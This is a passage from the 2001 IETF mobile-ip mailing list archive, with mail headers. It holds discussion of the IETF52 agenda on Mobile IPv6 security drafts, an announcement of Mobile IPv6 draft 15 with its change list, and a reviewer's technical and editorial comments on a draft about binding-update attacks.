          id <20011116223227.JYFX4415.fep02-app.kolumbus.fi@jariws1>;
          Sat, 17 Nov 2001 00:32:27 +0200
Message-ID: <010401c16eee$97c311a0$8a1b6e0a@arenanet.fi>
From: "Jari Arkko" <jari.arkko@kolumbus.fi>
To: "Patil Basavaraj \(NET/Dallas\)" <Basavaraj.Patil@nokia.com>
Cc: <mobile-ip@sunroof.eng.sun.com>
References: <697DAA22C5004B4596E033803A7CEF444CD0F4@daebe007.NOE.Nokia.com>
Subject: Re: [mobile-ip] Update1 : Draft agenda - IETF52
Date: Sat, 17 Nov 2001 00:32:36 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

> 2   Security for MIPv6 discussion                    60 Mins
>     draft-ietf-mobileip-mipv6-sec-reqts-02.txt
>     draft-montenegro-mipv6-seceval-00.txt     [Gabriel Montenegro
>     draft-arkko-mipv6ro-secframework-00.txt          Erik Nordmark
>     draft-savola-ipv6-rh-ha-security-00.txt      Jari arkko]

I could be missing something here, but when do we discuss
actual proposals, such as bu3way, roe-mobileip-updateauth,
or some of the other discussion papers such as draft-hindsight or
aura-mipv6-bu-attacks?

Jari





From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 17:39:58 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27826
	for <mobileip-archive@lists.ietf.org>; Fri, 16 Nov 2001 17:39:57 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA28453;
	Fri, 16 Nov 2001 14:38:43 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA24369;
	Fri, 16 Nov 2001 14:38:32 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGMbrLS021081
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:37:53 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGMbrbP021080
	for mobile-ip-dist; Fri, 16 Nov 2001 14:37:53 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGMbnLS021073
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:37:49 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA21030
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:37:49 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA00926
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:37:48 -0800 (PST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAGMbm516807;
	Fri, 16 Nov 2001 14:37:48 -0800 (PST)
Message-ID: <01e601c16eef$170de430$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>,
        "Patil Basavaraj \(NET/Dallas\)" <Basavaraj.Patil@nokia.com>
Cc: <mobile-ip@sunroof.eng.sun.com>
References: <697DAA22C5004B4596E033803A7CEF444CD0F4@daebe007.NOE.Nokia.com> <010401c16eee$97c311a0$8a1b6e0a@arenanet.fi>
Subject: Re: [mobile-ip] Update1 : Draft agenda - IETF52
Date: Fri, 16 Nov 2001 14:36:10 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

I was under the impression that Gabe's draft was supposed to present an
overview and
assessment.

        jak

----- Original Message -----
From: "Jari Arkko" <jari.arkko@kolumbus.fi>
To: "Patil Basavaraj (NET/Dallas)" <Basavaraj.Patil@nokia.com>
Cc: <mobile-ip@sunroof.eng.sun.com>
Sent: Friday, November 16, 2001 2:32 PM
Subject: Re: [mobile-ip] Update1 : Draft agenda - IETF52


> > 2   Security for MIPv6 discussion                    60 Mins
> >     draft-ietf-mobileip-mipv6-sec-reqts-02.txt
> >     draft-montenegro-mipv6-seceval-00.txt     [Gabriel Montenegro
> >     draft-arkko-mipv6ro-secframework-00.txt          Erik Nordmark
> >     draft-savola-ipv6-rh-ha-security-00.txt      Jari arkko]
>
> I could be missing something here, but when do we discuss
> actual proposals, such as bu3way, roe-mobileip-updateauth,
> or some of the other discussion papers such as draft-hindsight or
> aura-mipv6-bu-attacks?
>
> Jari
>
>
>
>



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 17:59:30 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28488
	for <mobileip-archive@odin.ietf.org>; Fri, 16 Nov 2001 17:59:29 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA22819;
	Fri, 16 Nov 2001 15:58:14 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA28928;
	Fri, 16 Nov 2001 14:58:16 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGMvQLS021222
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:57:26 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGMvQDn021221
	for mobile-ip-dist; Fri, 16 Nov 2001 14:57:26 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGMvMLS021214
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:57:22 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA14685
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:57:22 -0800 (PST)
Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA15846
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:57:22 -0800 (PST)
Received: from davir02nok.americas.nokia.com (davir02nok.americas.nokia.com [172.18.242.85])
	by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fAGMw6Q16022
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 16:58:06 -0600 (CST)
Received: from daebh001.NOE.Nokia.com (unverified) by davir02nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T57427ff8c7ac12f255079@davir02nok.americas.nokia.com>;
 Fri, 16 Nov 2001 16:57:17 -0600
Received: from daebe007.NOE.Nokia.com ([172.18.242.211]) by daebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Fri, 16 Nov 2001 16:57:17 -0600
content-class: urn:content-classes:message
Subject: RE: [mobile-ip] Update1 : Draft agenda - IETF52
Date: Fri, 16 Nov 2001 16:57:17 -0600
Message-ID: <697DAA22C5004B4596E033803A7CEF4409687D@daebe007.NOE.Nokia.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Thread-Topic: [mobile-ip] Update1 : Draft agenda - IETF52
Thread-Index: AcFu7pLKLW6EBdrfEdWrywAIx6S5QwAAp+AQ
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
From: "Patil Basavaraj (NET/Dallas)" <Basavaraj.Patil@nokia.com>
To: "'ext Jari Arkko'" <jari.arkko@kolumbus.fi>
Cc: <mobile-ip@sunroof.eng.sun.com>
X-OriginalArrivalTime: 16 Nov 2001 22:57:17.0776 (UTC) FILETIME=[0A57ED00:01C16EF2]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fAGMvMLS021215
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Jari,

I am hoping that the evaluation and the security framework drafts
will generate enough discussion on the list w.r.t the various
approaches.
If there are specific issues or unresolved items related to these
drafts, we can discuss them at the WG meeting.

If you meant "discuss actual proposals, such as..." as scheduling
timeslots for presenting these I-Ds, that is not how we want to use
the limited amount of time at the IETF.

I am hoping that the "Security for MIPv6 discussion" is an open
discussion among all WG members, with Gabriel, Erik and yourself
leading this discussion. The set of drafts that I mention are the ones
that should be used in this discussion and the evaluation draft will
ensure that most solution proposals are discussed.

-Basavaraj

> 
> > 2   Security for MIPv6 discussion                    60 Mins
> >     draft-ietf-mobileip-mipv6-sec-reqts-02.txt
> >     draft-montenegro-mipv6-seceval-00.txt     [Gabriel Montenegro
> >     draft-arkko-mipv6ro-secframework-00.txt          Erik Nordmark
> >     draft-savola-ipv6-rh-ha-security-00.txt      Jari arkko]
> 
> I could be missing something here, but when do we discuss
> actual proposals, such as bu3way, roe-mobileip-updateauth,
> or some of the other discussion papers such as draft-hindsight or
> aura-mipv6-bu-attacks?
> 
> Jari
> 
> 
> 


From owner-mobile-ip@sunroof.eng.sun.com  Sat Nov 17 13:35:08 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28512
	for <mobileip-archive@odin.ietf.org>; Sat, 17 Nov 2001 13:35:08 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA25034;
	Sat, 17 Nov 2001 10:31:50 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA27787;
	Sat, 17 Nov 2001 10:31:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAHITwLS022215
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sat, 17 Nov 2001 10:29:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAHITwJP022214
	for mobile-ip-dist; Sat, 17 Nov 2001 10:29:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAHITtLS022207;
	Sat, 17 Nov 2001 10:29:55 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA18585;
	Sat, 17 Nov 2001 10:29:56 -0800 (PST)
Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA21365;
	Sat, 17 Nov 2001 11:29:38 -0700 (MST)
Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1])
	by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fAHITr329340;
	Sat, 17 Nov 2001 19:29:53 +0100
Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194])
	by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id TAA12669;
	Sat, 17 Nov 2001 19:29:53 +0100 (MET)
Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1])
	by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fAHITqD05856;
	Sat, 17 Nov 2001 19:29:53 +0100 (CET)
	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
Message-Id: <200111171829.fAHITqD05856@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: ipng@sunroof.eng.sun.com
Cc: mobile-ip@sunroof.eng.sun.com, rohc@cdt.luth.se
Subject: [mobile-ip] IPv6 payload header
Date: Sat, 17 Nov 2001 19:29:52 +0100
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

I have submitted a draft (draft-dupont-ipv6-payload-00.txt) about
an IPv6 payload header based on the very old Robert Elz' proposal.
My purpose is to know the rough opinion about this kind of general
piggy-backing mechanisms.
I believe the right working group for discussion is the IPv6 WG
but I send this mail to mobile-ip (because this comes from mobile
IPv6 threads) and ROHC (because this has consequences for it).
I've put in a section some pro & con arguments, we can begin with them.
(please don't look at details of the protocol itself before we get
a rough consensus in favor of it if this happens)

Regards 

Francis.Dupont@enst-bretagne.fr


From owner-mobile-ip@sunroof.eng.sun.com  Sat Nov 17 20:09:42 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA01259
	for <mobileip-archive@odin.ietf.org>; Sat, 17 Nov 2001 20:09:42 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA01284;
	Sat, 17 Nov 2001 17:08:26 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA13205;
	Sat, 17 Nov 2001 17:08:13 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAI17PLS022652
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sat, 17 Nov 2001 17:07:25 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAI17PMO022651
	for mobile-ip-dist; Sat, 17 Nov 2001 17:07:25 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAI17LLS022644
	for <mobile-ip@sunroof.eng.sun.com>; Sat, 17 Nov 2001 17:07:21 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA21486
	for <mobile-ip@sunroof.eng.sun.com>; Sat, 17 Nov 2001 17:07:03 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA29943
	for <mobile-ip@sunroof.eng.sun.com>; Sat, 17 Nov 2001 17:07:22 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id RAA25153;
	Sat, 17 Nov 2001 17:07:19 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAI17Js29408;
	Sat, 17 Nov 2001 17:07:19 -0800
X-mProtect:  Sat, 17 Nov 2001 17:07:19 -0800 Nokia Silicon Valley Messaging Protection
Received: from maxdialin15.iprg.nokia.com (205.226.20.245, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdT2VeoH; Sat, 17 Nov 2001 17:07:16 PST
Message-ID: <3BF70872.76CEC41A@iprg.nokia.com>
Date: Sat, 17 Nov 2001 17:01:38 -0800
From: Charlie Perkins <charliep@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Mobile IP Working Group <mobile-ip@sunroof.eng.sun.com>
CC: "Basavaraj Patil (NTC/Dallas)" <Basavaraj.Patil@nokia.com>,
        Phil Roberts <PRoberts@MEGISTO.com>
Subject: [mobile-ip] Mobile IPv6 draft 15
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hello folks,

A new revision of Mobile IPv6 has been prepared.  It is currently
available at the following URL:
    http://people.nokia.net/~charliep/txt/mobilev6/mobilev6.txt
This new draft repairs minor problems which have been noticed
with draft ...-14.  The biggest change was to remove all the previous
support for mobile routers, since it has been agreed that will be a
different protocol specification.  After removing it, I had to put
in a bit to turn off and on the home agent behavior of configuring
multiple Binding Cache entries after receiving a Binding Update
for only a single care-of address.  Details are in the draft.

Please note that the issuance of this draft does NOT amount to
any statement about convergence on recent discussion items
related to security matters, or including Destination Options with
payload.  It is expected that another draft will be issued whenever
current discussion topic areas are better able to be resolved.

Included with this message is appendix A.1, which itemizes the
main changes to the draft.

Regards,
Charlie P.


A.1. Changes from Draft Version ...-14

    -  Strengthented mandates for mobile nodes so that now a mobile node

       MUST support decapsulation and processing for routing headers
       (section 10.3).

    -  Enabled ESP to be a valid way to secure reverse tunneled packets
       (section 9.5).

    -  Removed mandate that mobile node select a default router,
       and instead described it as typical behavior (section 10.4).
       Also made it clear that picking a new default router does not
       automatically mean picking a new primary care-of address.

    -  Added provisional ICMP numbers for the new message types, which
       may be reassigned by IANA, but which will be useful for testing
       purposes.

    -  Removed the Mobile Router Prefix Length Sub-Option

    -  Removed the Prefix Length field from the Binding Update, and
       references to error number 136.

    -  Added the `S' bit so that the home agent can be instructed to
       *override* its default behavior.  That is, with the `S' bit
       set, the home agent will not attempt to be helpful by changing
       multiple Binding Cache entries, for multiple routing prefixes,
       after receiving only one Binding Update.

    -  Reworded the specification so that the Home Agent now has to
       perform Duplicate Address Detection for the mobile node's address

       on all the prefixes for which the router is performing home agent

       service.

    -  Removed the section about Mobile Routers

    -  Added the Authentication Data Sub-option; reorganized the section

       about computing authentication data.

    -  Specified that the Home Agent lifetime is by default the same as
       the Router lifetime, in a Router Advertisement.

    -  Specified that Binding Updates with zero lifetime and the 'A' bit

       set should cause a Binding Acknowledgement to be sent back to the

       Source IP address of the Binding Update.

    -  Qualified the allowable times when a mobile node can send a
       Binding Update to a correspondent node

    -  Added text allowing the correspondent node to extend an existing
       Routing Header by also including the care-of address as the entry

       of a routing header to be visited immediately before the home
       address.  In this way, for instance, the mobile node can be an
       intermediate node of a path along the way to some other node.

    -  Removed the Home Address field from the Home Agent Address
       Discovery Request Message.

    -  Noted that ICMP Unreachable forms a potential mechanism by which
       a malicious node can cause a correspondent node to delete a valid

       entry from its Binding Cache.

    -  Specified that, when a router stops offering home agent services
       by turning off the 'H' flag, the mobile node has to delete the
       corresponding entry from its Home Agent list.





From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 18 04:42:49 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA22885
	for <mobileip-archive@odin.ietf.org>; Sun, 18 Nov 2001 04:42:49 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA21341;
	Sun, 18 Nov 2001 02:41:17 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA10174;
	Sun, 18 Nov 2001 01:41:03 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAI9eHLS023271
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 18 Nov 2001 01:40:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAI9eHVl023270
	for mobile-ip-dist; Sun, 18 Nov 2001 01:40:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAI9eDLS023263
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 01:40:13 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA17348
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 01:39:54 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA09689
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 01:40:13 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAI9eCx12715
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 18 Nov 2001 11:40:12 +0200
Date: Sun, 18 Nov 2001 11:40:12 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
In-Reply-To: <200111161157.GAA26759@ietf.org>
Message-ID: <Pine.LNX.4.33.0111180009140.1778-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Fri, 16 Nov 2001 Internet-Drafts@ietf.org wrote:
> This document overviews various attacks against mobile and fixed IP 
> nodes by exploiting features of the Mobile IPv6 Route Optimization. 
> Many of the attacks can be prevented by authenticating the Mobile 
> IPv6 Binding Updates (BU) but some cannot, and some denial-of-
> service attacks specifically exploit features of authentication 
> protocols. The purpose of this document is to list attacks that 
> should be taken into consideration when designing protocols for BU 
> authentication and to outline available protection mechanisms. We 
> also discuss the choice between different levels of protection.

I just read the draft quickly, and one issue popped up...

3.1: about CAM.  The ACM paper is not available on the website so I can't
check whether the issue was dealt with, and I may be confused. but I don't
see how changing one's address to match your key will change anything
about PKI.  The recipient of the packet still has to have the sender's key
it can trust. That is, either end will have to obtain (via a directory or
something) one key it knows that belongs to the other end.  This is one
sorely missing piece of PKI.

in effect,
--8<--
   A recently discovered technique [OR01] provides an intermediate 
   level of security between strong public-key authentication and weak 
   methods such as routability tests. The idea is to form the last 64 
   bits of the IP address (the interface identifier) by hashing the 
   host's public signature key. Binding Updates can then be signed 
   with this key. A secure one-way hash function makes it difficult 
   for the attacker to come up with a key that matches a given address 
   and to forge signed BUs.
--8<--

Either I'm very confused or I think this should either be:
 - source node's public signing key for last 64 bits generation, but 
signing the BU with private key.
 - _destination_ node's public signature key (doesn't seem to make sense)
 - source node's _private_ signing key (doesn't seem to make sense)
 - source node's public signing key (makes even less sense)

(for the last one, as public signature key is public knowledge anyway, an 
attacker could just obtain it off a directory and create the hash).


Editorial comments:

s/[mobile] host/[mobile] node/, in very many places; or if this is 
intended, perhaps it should be noted in a terminology section or 
something.

s/highjack/hijack/
s/a timestamps/timestamps/
s/needs to be is carefully/needs to be carefully/

check 'See Section Error! Reference source not found'
check 'mobile' -> 'mobile node'

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords





From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 18 05:14:24 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23085
	for <mobileip-archive@odin.ietf.org>; Sun, 18 Nov 2001 05:14:24 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA19882;
	Sun, 18 Nov 2001 02:13:22 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA29008;
	Sun, 18 Nov 2001 02:13:10 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAIAC8LS023463
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 18 Nov 2001 02:12:08 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAIAC8Z0023462
	for mobile-ip-dist; Sun, 18 Nov 2001 02:12:08 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAIAC4LS023455
